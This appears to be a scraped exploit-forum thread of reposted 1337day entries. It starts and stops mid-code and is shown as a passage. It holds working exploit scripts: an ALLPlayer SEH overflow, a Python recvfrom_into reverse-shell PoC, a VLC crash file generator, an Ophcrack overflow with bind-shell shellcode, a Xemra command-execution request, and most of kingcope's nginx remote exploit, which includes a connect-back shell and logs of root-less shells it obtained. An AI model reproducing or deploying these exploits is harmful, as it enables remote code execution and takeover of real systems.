            "\x2d\x13\x11". # SUB EAX,0x11001300
            "\x6e".         # Venetian padding
            "\x50".         # PUSH EAX
            "\x6e".         # Venetian padding
            "\xc3";         # RET
  
my $nops = "\x71" x 109;
  
# msfpayload windows/exec cmd=calc.exe R
# msfencode -e x86/unicode_mixed BufferRegister=EAX
my $shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAh".
"AAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLyXTI9pKPip".
"S02iwuP1z2RDRkb2nP2kNrjlDKnrN4BkD2NHJofWPJLfNQyonQGPDlmloqSLyrNLmPy16ozmYqY7".
"JBzPB2R72kqBLPrkMrmlZaj0Bka0d83UGP1dOZYqvpb04Ka8mH4KR8kpYqyCHcMlQ9DKmdDKM18V".
"nQyolqEpdl91FojmzahGNXk01eYd9s3M8xMk1mmTbUYRr8dKNxldKQWcRFRklLpKBkaHKl9qwc2k".
"itRk9qFp3Yq4O4mT1K1Ks1aI0Zb1KOGpR8QOPZrkMBJKTFqMRJkQBm3UgIipYpypNp38matKpoe7".
"ioyE7KJP85vBQF0heVCeEm3mio7eMlYvsLiz3PikiP45ze7KPGJs1bpoBJKP0SkOiEqSaQBL33ln".
"s5sH2E9pAA";
   
my $sploit = $junk1.$nSEH.$SEH.$align.$nops.$shellcode.$junk2;
  
open(FILE, ">$filename") || die "[-]Error:\n$!\n";
print FILE "http://$sploit";
close(FILE);
  
print "\nExploit file created successfully [$filename]!\n\n";
print "You can either:\n";
print "\t1. Open the created $filename file directly with ALLPlayer\n";
print "\t2. Open the crafted URL via menu by Open movie/sound -> Open URL\n\n";
print "http://$sploit\n";
 
# 1593EEF92A07FD16   1337day.com [2014-03-04]   3B480193EEDD8D5B #
Python socket.recvfrom_into()
ID: 67686ba3b4103b69df379d4f
Thread ID: 25014
Created: 2014-02-24T06:37:24+0000
Last Post: 2014-02-24T06:37:24+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/env python
 
'''
# Exploit Title: python socket.recvfrom_into() remote buffer overflow
# Date: 21/02/2014
# Exploit Author: @sha0coder
# Vendor Homepage: python.org
# Version: python2.7 and python3
# Tested on: linux 32bit + python2.7
# CVE : CVE-2014-1912
 
 
 
socket.recvfrom_into() remote buffer overflow Proof of concept
by @sha0coder
 
TODO: rop to evade stack nx
 
 
(gdb) x/i $eip
=> 0x817bb28:        mov    eax,DWORD PTR [ebx+0x4]       <--- ebx full control => eax full conrol
   0x817bb2b:   test   BYTE PTR [eax+0x55],0x40
   0x817bb2f:   jne    0x817bb38 -->
   ...
   0x817bb38:   mov    eax,DWORD PTR [eax+0xa4]      <--- eax full control again
   0x817bb3e:   test   eax,eax
   0x817bb40:   jne    0x817bb58 -->
   ...
   0x817bb58:   mov    DWORD PTR [esp],ebx
   0x817bb5b:   call   eax <--------------------- indirect fucktion call;)
 
 
$ ./pyrecvfrominto.py
        egg file generated
 
$ cat egg | nc -l 8080 -vv
 
... when client connects ... or wen we send the evil buffer to the server ...
 
0x0838591c in ?? ()
1: x/5i $eip
=> 0x838591c:        int3                            <--------- LANDED!!!!!
   0x838591d:   xor    eax,eax
   0x838591f:   xor    ebx,ebx
   0x8385921:   xor    ecx,ecx
   0x8385923:   xor    edx,edx
 
'''
 
import struct
 
def off(o):
        return struct.pack('L',o)
 
 
reverseIP = '\xc0\xa8\x04\x34'   #'\xc0\xa8\x01\x0a'
reversePort = '\x7a\x69'
 
 
#shellcode from exploit-db.com, (remove the sigtrap)
shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2"\
                        "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"\
                        "\x01\x6a\x02\x89\xe1\xcd\x80\x89"\
                        "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+\
                        reverseIP+"\x66\x68"+reversePort+"\x66\x53\xfe"\
                        "\xc3\x89\xe1\x6a\x10\x51\x56\x89"\
                        "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"\
                        "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"\
                        "\xc0\x52\x68\x6e\x2f\x73\x68\x68"\
                        "\x2f\x2f\x62\x69\x89\xe3\x52\x53"\
                        "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"\
                        "\x80"
 
 
shellcode_sz = len(shellcode)
 
print 'shellcode sz %d' % shellcode_sz
 
 
ebx =  0x08385908
sc_off = 0x08385908+20
 
padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM'
 
'''          
        +------------+----------------------+         +--------------------+
        |            |                      |         |                    |
        V            |                      |         V                    |
'''
buff = 'aaaa' + off(ebx) + 'aaaaaAAA'+ off(ebx) + shellcode + padd + off(sc_off)  # .. and landed;)
 
 
print 'buff sz: %s' % len(buff)
open('egg','w').write(buff)
 
# FBB0F279C7382F5E   1337day.com [2014-02-24]   AFCC41419EB610E1 #
VLC Player 2.1.2 (.asf) - Crash PoC
ID: 67686ba3b4103b69df379d50
Thread ID: 24981
Created: 2014-02-06T09:33:49+0000
Last Post: 2014-02-06T09:33:49+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
# VLC Media Player up to 2.1.2 DOS POC Integer Division By zero in ASF Demuxer
# VLC Media Player is prone to DOS utilizing a division by zero error if minimium data packet size
# is equal to zero. this was tested on windows XP sp3 and affects all versions of vlc till latest 2.1.2
# to run this script you need to install python bitstring module
# usage you supply any valid asf and the script will produxe a POC asf that will crash vlc
  
import sys
from bitstring import BitArray
  
f = open(sys.argv[1],'r+b')
  
f.seek(0,2)
  
size = f.tell()
  
print "[*] file size: %d" % size
  
f.seek(0,0)
  
print "[*] ReeeeeWWWWWWiiiiiNNNNNNND"
  
fb = BitArray(f)
  
index  =  fb.find('0xa1dcab8c47a9cf118ee400c00c205365',bytealigned=True)
  
print "[*] found file properties GUID"
print "[*] File properties GUID: %s" % fb[index[0]:(index[0]+128)]
  
# index of minumum packet size in File Proprties header
i_min_data_pkt_size = index[0] +  736
  
print "[*] Original Minimum Data Packet Size: %s" % fb[i_min_data_pkt_size:i_min_data_pkt_size+32].hex
print "[*] Original Maximum Data Packet Size: %s" % fb[i_min_data_pkt_size+32:i_min_data_pkt_size+64].hex
  
# Accroding to ASF standarad the minimum data size and the maximum data size should be equal
print "[*] Changing Miniumum and Maximum Data packet size to 0"
  
# changing the data packets in bit array
  
fb[i_min_data_pkt_size:i_min_data_pkt_size+8] = 0x00
fb[i_min_data_pkt_size+8:i_min_data_pkt_size+16] = 0x00
fb[i_min_data_pkt_size+16:i_min_data_pkt_size+24] = 0x00
fb[i_min_data_pkt_size+24:i_min_data_pkt_size+32] = 0x00
fb[i_min_data_pkt_size+32:i_min_data_pkt_size+40] = 0x00
fb[i_min_data_pkt_size+40:i_min_data_pkt_size+48] = 0x00
fb[i_min_data_pkt_size+48:i_min_data_pkt_size+56] = 0x00
fb[i_min_data_pkt_size+56:i_min_data_pkt_size+64] = 0x00
  
print "[*] POC File Created poc.asf"
  
of = open('poc.asf','w+b')
fb.tofile(of)
of.close()
f.close()
 
# 127B7C4BB147D99D   1337day.com [2014-02-06]   13B946ED123822E5 #
Ophcrack 3.6 Local Buffer Overflow
ID: 67686ba3b4103b69df379d51
Thread ID: 24900
Created: 2013-12-31T18:43:06+0000
Last Post: 2013-12-31T18:43:06+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Ophcrack version 3.6 local stack based buffer overflow exploit. Works on Windows 8 64-bit.

Click to expand...

Code:Copy to clipboard

#!/usr/bin/python
# Title: Ophcrack 3.6 Local Stack Based Buffer Overflow
# Version: 3.6
# Tested on: Windows XP SP2 en, Windows 8 64-bit
# Vendor: http://ophcrack.sourceforge.net/
# Software Link: http://sourceforge.net/projects/ophcrack/files/ophcrack/3.6.0/ophcrack-win32-installer-3.6.0.exe
# Original Advisory: http://osandamalith.wordpress.com/2013/12/29/ophcrack-local-stack-based-buffer-overflow/
# E-Mail: osandajayathissa@gmail.com
# Exploit-Author: Osanda Malith 
# Twitter: @OsandaMalith
# /!\ Author is not responsible for any damage you cause
# This POC is for educational purposes only
# Video: https://www.youtube.com/watch?v=YPPIyxPMakI
'''
This exploit is super lame, as no user is going to paste 1000 characters
of text into the textbox, however it could potentially be used for
privilege escalation. It was still a fun learning exercise.
'''
'''
To exploit this bug open Ophcrack -> Click Load -> Remote SAM
There are three fields "Host name:", "Share:", "User:"
All three fields are vulnerable. I have made this exploit to work on those 3 fields.
Copy the contents written to the file into the specific field you selected and click ok.
'''
print '''
                                                                              
     _/_/              _/                                                _/   
  _/    _/  _/_/_/    _/_/_/      _/_/_/  _/  _/_/    _/_/_/    _/_/_/  _/  _/
 _/    _/  _/    _/  _/    _/  _/        _/_/      _/    _/  _/        _/_/   
_/    _/  _/    _/  _/    _/  _/        _/        _/    _/  _/        _/  _/  
 _/_/    _/_/_/    _/    _/    _/_/_/  _/          _/_/_/    _/_/_/  _/    _/ 
        _/                                                                    
       _/                                                                     
  
[+] Opchrack 3.6 Local Buffer Overflow Exploit
[+] Author: Osanda Malith Jayathissa < osandajayathissa [at] gmail.com >
[~] Special Thanks to Matt "hostess" Andreko < mandreko [at] accuvant.com >

'''
while True:
  try:
    choice = int(raw_input("[?] In which field do you want to inject our payload?\n1.Host name\n2.Share\n3.User\n"))
  except ValueError:
    print "[!] Enter only a number"
    continue
  # If you select "Host name" you would get a error after injecting. Click "Don't send" and enjoy the payload  
  if choice == 1:
    buff = "A" * 497 
    break
  elif choice == 2:
    buff = "A" * 504
    break
  elif choice == 3:
    buff = "A" * 504
    break  
  else:
    print "[-] Invalid Choice"
    continue
# jmp instruction must be 'ascii' due to character set restrictions
# jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [QtCore4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.8.4.0 (C:\Program Files\ophcrack\QtCore4.dll)
eip = "\x39\x5b\x2b\x6e" 

while True:
  try:
    choice = int(raw_input("[?] Choose your payload:\n1.Calculator\n2.Bind Shell\n"))
  except ValueError:
    print "[!] Enter only a number"
    continue
    
  if choice == 1:
    #ALPHA3.py esp --input="shellcode.bin" 
    shellcode =  "TYhffffk4diFkDql02Dqm0D1CuEE0l3i8o3J378P4P8L4u8L3g0f3A0B1n2K405o7N5K328O4E3T4I0g"
    shellcode += "0c1k0Q4M358P5M4y0I2Z3g3I3E3E2j4C2r110H135l0p0H7o381M0E0s3i4Z3D4p5k2C1l335N4R4L4D"
    shellcode += "3w4X4H1L4p2n3R3M3L3C2x4s8o4H3M8N4y3J4P3j4S1k3b3L0h2r08125o1K0b1o101P0514373A1o0Z"
    shellcode += "3O340Q0O0n5n4F4B8n4X1k0i4u4m0S407o0c1m4m4P5M2y135O1K0V1l4z3D0G3S0h120C4I183B0y14"
    shellcode += "3h4H3G8K3S1L2k3E4r162Z3E7k5O138P5L3H0O0c0T15034I0v3M3P4H3h0Z2H3w3h3C002k7l4L3J1L"
    shellcode += "2F3h0w3q0b8O3u2q064O1p4K3w0P3S0w1N2O2B043K0K7p3r4n1k2z0p017k0F3p4Y0u093d301n0n"  
    break
  elif choice == 2:
    # Thanks to Matt for teaching me about choosing correct shellcode :-)
    # Modify this part with your own custom shellcode
    # msfpayload windows/shell/bind_tcp EXITFUNC=thread LPORT=4444 R| msfencode -e x86/alpha_mixed -t c BufferRegister=ESP
    shellcode = (
          "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
          "\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
          "\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
          "\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x69\x78\x4e\x69\x73\x30"
          "\x65\x50\x47\x70\x71\x70\x6f\x79\x39\x75\x74\x71\x78\x52\x31"
          "\x74\x6e\x6b\x70\x52\x50\x30\x4e\x6b\x33\x62\x34\x4c\x4c\x4b"
          "\x66\x32\x64\x54\x4c\x4b\x51\x62\x74\x68\x64\x4f\x4e\x57\x51"
          "\x5a\x45\x76\x45\x61\x59\x6f\x74\x71\x59\x50\x4e\x4c\x37\x4c"
          "\x70\x61\x53\x4c\x56\x62\x76\x4c\x47\x50\x39\x51\x7a\x6f\x56"
          "\x6d\x46\x61\x6a\x67\x78\x62\x7a\x50\x70\x52\x46\x37\x4e\x6b"
          "\x52\x72\x76\x70\x6e\x6b\x37\x32\x65\x6c\x43\x31\x4a\x70\x4c"
          "\x4b\x71\x50\x54\x38\x4c\x45\x59\x50\x62\x54\x50\x4a\x45\x51"
          "\x6e\x30\x32\x70\x6e\x6b\x71\x58\x46\x78\x6c\x4b\x50\x58\x31"
          "\x30\x65\x51\x49\x43\x38\x63\x47\x4c\x32\x69\x4c\x4b\x54\x74"
          "\x6c\x4b\x37\x71\x58\x56\x46\x51\x69\x6f\x56\x51\x39\x50\x4e"
          "\x4c\x5a\x61\x6a\x6f\x76\x6d\x46\x61\x68\x47\x57\x48\x6d\x30"
          "\x31\x65\x6c\x34\x53\x33\x73\x4d\x39\x68\x67\x4b\x31\x6d\x64"
          "\x64\x43\x45\x58\x62\x51\x48\x4c\x4b\x53\x68\x61\x34\x66\x61"
          "\x6a\x73\x35\x36\x6c\x4b\x44\x4c\x42\x6b\x6e\x6b\x71\x48\x67"
          "\x6c\x33\x31\x6b\x63\x6c\x4b\x47\x74\x4e\x6b\x55\x51\x6a\x70"
          "\x4e\x69\x63\x74\x67\x54\x47\x54\x71\x4b\x43\x6b\x45\x31\x76"
          "\x39\x52\x7a\x73\x61\x69\x6f\x6b\x50\x32\x78\x63\x6f\x72\x7a"
          "\x4c\x4b\x36\x72\x58\x6b\x6d\x56\x61\x4d\x62\x48\x65\x63\x50"
          "\x32\x45\x50\x35\x50\x31\x78\x64\x37\x54\x33\x76\x52\x43\x6f"
          "\x63\x64\x50\x68\x50\x4c\x54\x37\x37\x56\x65\x57\x59\x6f\x48"
          "\x55\x6f\x48\x6a\x30\x76\x61\x45\x50\x53\x30\x66\x49\x6f\x34"
          "\x30\x54\x32\x70\x75\x38\x37\x59\x6b\x30\x30\x6b\x57\x70\x49"
          "\x6f\x68\x55\x56\x30\x42\x70\x50\x50\x32\x70\x31\x50\x36\x30"
          "\x73\x70\x50\x50\x35\x38\x68\x6a\x74\x4f\x49\x4f\x69\x70\x39"
          "\x6f\x39\x45\x4c\x49\x6a\x67\x55\x61\x59\x4b\x56\x33\x52\x48"
          "\x74\x42\x47\x70\x56\x71\x33\x6c\x4e\x69\x39\x76\x31\x7a\x64"
          "\x50\x52\x76\x56\x37\x32\x48\x59\x52\x59\x4b\x37\x47\x55\x37"
          "\x79\x6f\x4a\x75\x50\x53\x50\x57\x31\x78\x68\x37\x7a\x49\x54"
          "\x78\x4b\x4f\x59\x6f\x4a\x75\x50\x53\x62\x73\x31\x47\x45\x38"
          "\x50\x74\x4a\x4c\x57\x4b\x68\x61\x59\x6f\x4e\x35\x72\x77\x4e"
          "\x69\x4b\x77\x65\x38\x52\x55\x50\x6e\x50\x4d\x35\x31\x59\x6f"
          "\x5a\x75\x65\x38\x70\x63\x70\x6d\x70\x64\x35\x50\x6f\x79\x79"
          "\x73\x61\x47\x72\x77\x43\x67\x70\x31\x68\x76\x53\x5a\x54\x52"
          "\x33\x69\x32\x76\x59\x72\x69\x6d\x51\x76\x4f\x37\x70\x44\x47"
          "\x54\x45\x6c\x36\x61\x35\x51\x6c\x4d\x43\x74\x75\x74\x62\x30"
          "\x49\x56\x73\x30\x42\x64\x63\x64\x52\x70\x63\x66\x30\x56\x70"
          "\x56\x43\x76\x63\x66\x72\x6e\x52\x76\x63\x66\x50\x53\x53\x66"
          "\x63\x58\x52\x59\x4a\x6c\x65\x6f\x4f\x76\x49\x6f\x48\x55\x6b"
          "\x39\x79\x70\x70\x4e\x72\x76\x30\x46\x79\x6f\x44\x70\x50\x68"
          "\x33\x38\x4e\x67\x45\x4d\x51\x70\x39\x6f\x58\x55\x6f\x4b\x59"
          "\x70\x35\x4d\x37\x5a\x75\x5a\x31\x78\x6f\x56\x7a\x35\x4d\x6d"
          "\x6f\x6d\x79\x6f\x38\x55\x67\x4c\x57\x76\x73\x4c\x65\x5a\x6f"
          "\x70\x49\x6b\x6b\x50\x74\x35\x66\x65\x6d\x6b\x31\x57\x72\x33"
          "\x61\x62\x70\x6f\x32\x4a\x37\x70\x56\x33\x59\x6f\x69\x45\x41"
          "\x41")
    print "[+] Connect on port 4444"
    break
  else:
    print "[-] Invalid Choice"
    continue

junk = "A" * 100
# Glad to write this at 17;)
# Combine strings
exploit = buff + eip + shellcode + junk
print "[+] Writing to file >> exploit.txt"
# Write it out to file
file = open("exploit.txt", "w")
file.write(exploit)
file.close()
print "[~] " + str(len(exploit)) + " Bytes written to file"  
print "[+] Copy all the contents inside the file into the field you selected and click ok"
#EOF
Xemra Botnet Remote Code Execution
ID: 67686ba3b4103b69df379d52
Thread ID: 24871
Created: 2013-12-18T08:51:11+0000
Last Post: 2013-12-18T08:51:11+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

##########################################################################

Exploit Title: Xemra Botnet Remote Code Execution Vulnerability

Date: 13.12.2013

Exploit Author: GalaxyAndroid

Vendor Homepage: unkn0wn

Software Link: [http://www.hackreports.com/2012/07/downloa...dos-

attack.html](http://www.hackreports.com/2012/07/download-zemra-botnet-ddos- attack.html)

Version: unknown

Tested on: Windows 7 with Xampp

greets goes to: ChrisKSK, Protestants in Ukraine -> keep pushing!

no greets to: NSA, GCHQ, USA, AUS, CAN, GBR, NZL

#################################Exploit- Code###################################

PoC execute dir Command. No authentication needed!

#########
GET http://127.0.0.1/xemra/system/command.php?cmd=dir HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Cache-Control: max-age=0
############

Response:

HTTP/1.1 200 OK
Date: Fri, 13 Dec 2013 18:29:42 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i mod_autoindex_color PHP/5.2.8
X-Powered-By: PHP/5.2.8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 685

cmd

 Datenträger in Laufwerk C: ist  

Verzeichnis von C:\xampp\htdocs\xemra\system

13.12.2013 19:16

.
13.12.2013 19:16 ..
18.04.2012 22:09 646 base.class.php
26.11.2011 13:47 88 command.php
18.05.2012 08:11 277 config.include.php
18.04.2012 22:09 1.348 database.class.php
13.12.2013 19:16 geoip
18.04.2012 22:09 694 global.php
18.04.2012 22:09 1.725 session.class.php
6 Datei(en), 4.778 Bytes
3 Verzeichnis(se), 66.773.762.048 Bytes frei

780AC9C19239B328 1337day.com [2013-12-18] 67165EF9DF465A69

Click to expand...

nginx 1.3.9/1.4.0 x86
ID: 67686ba3b4103b69df379d53
Thread ID: 24404
Created: 2013-07-12T09:32:50+0000
Last Post: 2013-11-19T19:43:12+0000
Author: DarckSol
Prefix: Remote
Replies: 2 Views: 1K

Code:Copy to clipboard

#nginx 1.3.9/1.4.0 x86 brute force remote exploit
# copyright (c) 2013 kingcope
#----------------------------
#fix for internet exploitation, set MTU:
#ifconfig <interface> mtu 60000 up
#
###
# !!! WARNING !!!
# this exploit is unlikely to succeed when used against remote internet hosts.
# the reason is that nginx uses a non-blocking read() at the remote connection,
# this makes exploitation of targets on the internet highly unreliable.
# (it has been tested against a testbed on the internet but I couldn't exploit
# any other box with it. required was the above ifconfig setting on the client.
# maybe enabling large tcp frame support on a gigabit connection is more
# useful)
# so use it inside intranets only (duh!), this remains a PoC for now :D
# The exploit does not break stack cookies but makes use of a reliable method
# to retrieve all needed offsets for Linux x86 and pop a shell.
###
#TODO
#*cleanup code
#*implement stack cookie break and amd64 support
#*support proxy_pass directive
###
=for comment
TARGET TESTS (Debian, Centos, OpenSuSE)
  
1. Debian 7
perl ngxunlock.pl 192.168.27.146 80 192.168.27.146 443
Testing if remote httpd is vulnerable % SEGV %
YES %
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5182 align  % SEGV %
Verifying align
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5182 align  % SEGV %
Finding write offset, determining exact align
testing 0x08049c50, 5184 align  % SURVIVED %
Extracting memory \
bin search done, read 20480 bytes
exact align found 5184
Finding exact library addresses
trying plt 0x08049a32, got 0x080bc1a4, function 0xb76f4a80  % FOUND exact ioctl 0x08049a30 %
trying plt 0x08049ce2, got 0x080bc250, function 0xb773e890  % FOUND exact memset 0x08049ce0 %
trying plt 0x08049d52, got 0x080bc26c, function 0xb76f8d40  % FOUND exact mmap64 0x08049d50 %
Found library offsets, determining mnemonics
trying 0x0804ed2d  % SURVIVED %
exact large pop ret 0x0804a7eb
exact pop x3 ret 0x0804a7ee
bin search done |
See reverse handler for success
  
nc -v -l -p 443
listening on [any] 443 ...
192.168.27.146: inverse host lookup failed: Unknown host
connect to [192.168.27.146] from (UNKNOWN) [192.168.27.146] 34778
uname -a;id;
Linux dakkong 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
cat /etc/debian_version
7.1
  
2. CentOS 6.4
perl ngxunlock.pl 192.168.27.129 80 192.168.27.129 443
Testing if remote httpd is vulnerable % SEGV %
YES %
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5194 align  % SEGV %
Verifying align
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5194 align  % SEGV %
Finding write offset, determining exact align
testing 0x08049990, 5200 align  % SURVIVED %
Extracting memory /
bin search done, read 20480 bytes
exact align found 5200
Finding exact library addresses
trying plt 0x080499f2, got 0x080b31ac, function 0x0094a6b0  % FOUND exact memset 0x080499f0 %
trying plt 0x08049b52, got 0x080b3204, function 0x008f1fd0  % FOUND exact ioctl 0x08049b50 %
trying plt 0x08049f12, got 0x080b32f4, function 0x008f72c0  % FOUND exact mmap64 0x08049f10 %
Found library offsets, determining mnemonics
trying 0x0804e9d4  % SURVIVED %
exact large pop ret 0x0806194d
exact pop x3 ret 0x0804a832
bin search done /
See reverse handler for success
  
nc -v -l 443
Connection from 192.168.27.129 port 443 [tcp/https] accepted
uname -a;id;
Linux localhost.localdomain 2.6.32-358.el6.i686 #1 SMP Thu Feb 21 21:50:49 UTC 2013 i686 i686 i386 GNU/Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
cat /etc/redhat*
CentOS release 6.4 (Final)
  
3. OpenSuSE 12.1
perl ngxunlock.pl 192.168.27.135 80 192.168.27.135 443
Testing if remote httpd is vulnerable % SEGV %
YES %
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5182 align  % SEGV %
Verifying align
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5182 align  % SEGV %
Finding write offset, determining exact align
testing 0x08049a18, 5184 align  % SURVIVED %
Extracting memory \
bin search done, read 20480 bytes
exact align found 5184
Finding exact library addresses
trying plt 0x08049a6a, got 0x080be08c, function 0xb75f74f0  % FOUND exact memset 0x08049a68 %
trying plt 0x08049b8a, got 0x080be0d4, function 0xb764b160  % FOUND exact ioctl 0x08049b88 %
trying plt 0x08049eea, got 0x080be1ac, function 0xb76501e0  % FOUND exact mmap64 0x08049ee8 %
Found library offsets, determining mnemonics
trying 0x0804ea7f  % SURVIVED %
exact large pop ret 0x0804a7fa
exact pop x3 ret 0x0804a101
bin search done -
See reverse handler for success
  
Connection from 192.168.27.135 port 443 [tcp/https] accepted
uname -a;id;
Linux linux-01xg 3.1.0-1.2-desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux
uid=65534(nobody) gid=65533(nobody) groups=65533(nobody),65534(nogroup)
  
cat /etc/SuSE-*
openSUSE
VERSION = 12.1
openSUSE 12.1 (i586)
VERSION = 12.1
CODENAME = Asparagus
=cut
  
use IO::Socket;
  
if ($#ARGV < 3) {
print "nginx remote exploit\n";
print "copyright (c) 2013 kingcope\n";
print "usage: $0 <target> <target port> <reverse ip> <reverse port>\n";
exit;
}
  
$target = $ARGV[0];
$targetport = $ARGV[1];
$cbip = $ARGV[2];
$cbport = $ARGV[3];
  
#linux reverse shell by bighawk
$lnxcbsc =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b" 
."\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68"
."\x7f\x7f\x7f\x7f" # IP
."\x66\x68" . "\xb0\xef" # PORT
."\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66"
."\x58\xcd\x80\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2" 
."\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
  
($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
substr($lnxcbsc, 31, 4, $a1 . $a2 . $a3 . $a4);
  
($p1, $p2) = split(//, reverse(pack("s", $cbport)));
$p1 = chr(ord($p1));
$p2 = chr(ord($p2));
substr($lnxcbsc, 37, 2, $p1 . $p2);
  
$|=1;
$uri="";
###test target vulnerable
#XXX
#$k = 0x80498d0;
#$align2 = 5200;
#$alignplus=0;
#goto debug;
  
print "Testing if remote httpd is vulnerable ";
$uritested = 0;
test:
goto l;
connecterr:
if ($j==0) {
    print "\nDestination host unreachable\n";
    exit;
}
goto again;
l:
for ($j=0;$j<15;$j++) {
again:
        $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto connecterr};                                 
        setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
        $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: close\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
        $req .= "0" x (1024-length($req)-16) . "8000000000003770";
        $stack = pack("V", 0xc0debabe);
        twinkle();     
        print $sock $req;
        send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
                $l = read($sock, $buffer, 0x10);
        close($sock);
        twinkle();
  
        if ($buffer =~ /HTTP\/1.1/) {
            next;
        }
        if ($l <= 0) {
            print "% SEGV %\n";
            print "YES %\n";
            goto yes;
        }  
}
  
if ($uritested == 0) {
    $uri = "50x.html";
    $uritested=1;
    goto test;
}
print "\n\\\\ NO %\n";
print "\\\\ Try to increase client MTU with ifconfig <interface> mtu 60000 up\n\n\\\\ Debug output\n";
$sock = IO::Socket::INET->new(PeerAddr => $target,
                              PeerPort => $targetport,
                              Proto    => 'tcp') || {goto connecterr};                                 
setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
$req = "GET / HTTP/1.1\r\nHost: $target\r\n"
      ."Connection: keep-alive\r\n"
      ."Transfer-Encoding:chunked\r\n\r\n";
$req .= "0" x (1024-length($req)-16) . "8000000000003770";
$stack = pack("V", 0xc0debabe);
print $sock $req;
send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
$line = 0;
while(<$sock>) {
    print;
    if ($line > 30) {
        last;
    }
}
exit;
###find align
$verifyalign = 0;
yes:
print "Finding align distance (estimate)\n";
for ($align=4050;$align<6000;$align+=100) {
for ($j=0;$j<15;$j++) {
        printf("testing %d align ",$align);
again0_1:
#       $sock = IO::Socket::INET->new(PeerAddr => $target,
 #                                 PeerPort => $targetport,
  #                                Proto    => 'tcp') || {goto again0_1};
#       setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
#       $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
 #                  ."Connection: close\r\n\r\n";
#       print $sock $req;
#       close($sock);
  
        $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again0_1};
        setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
        $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
        $req .= "0" x (1024-length($req)-16) . "8000000000003770";
        $stack = pack("V", 0xc0debabe);
        print $sock $req;
        send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
                $l = read($sock, $buffer, 0x10);
        twinkle();
        close($sock);
          
        if ($l <= 0) {
            if ($align == 4050) {
                goto out;
            }
            print " % SEGV %\n";
            $alignstart = $align-100;
            goto incalign;
        }
        print "\r\r\r\r";
        if ($buffer =~ /HTTP\/1.1/) {
            next;
        }
        close($sock);
}
}
out:
print "\n\\\\ Align not found\n";
exit;
  
incalign:
for ($align=$alignstart;$align<6000;$align++) {
for ($j=0;$j<7;$j++) {
        printf("testing %d align ",$align);
again0_2:
#       $sock = IO::Socket::INET->new(PeerAddr => $target,
 #                                 PeerPort => $targetport,
  #                                Proto    => 'tcp') || {goto again0_2};
#       setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
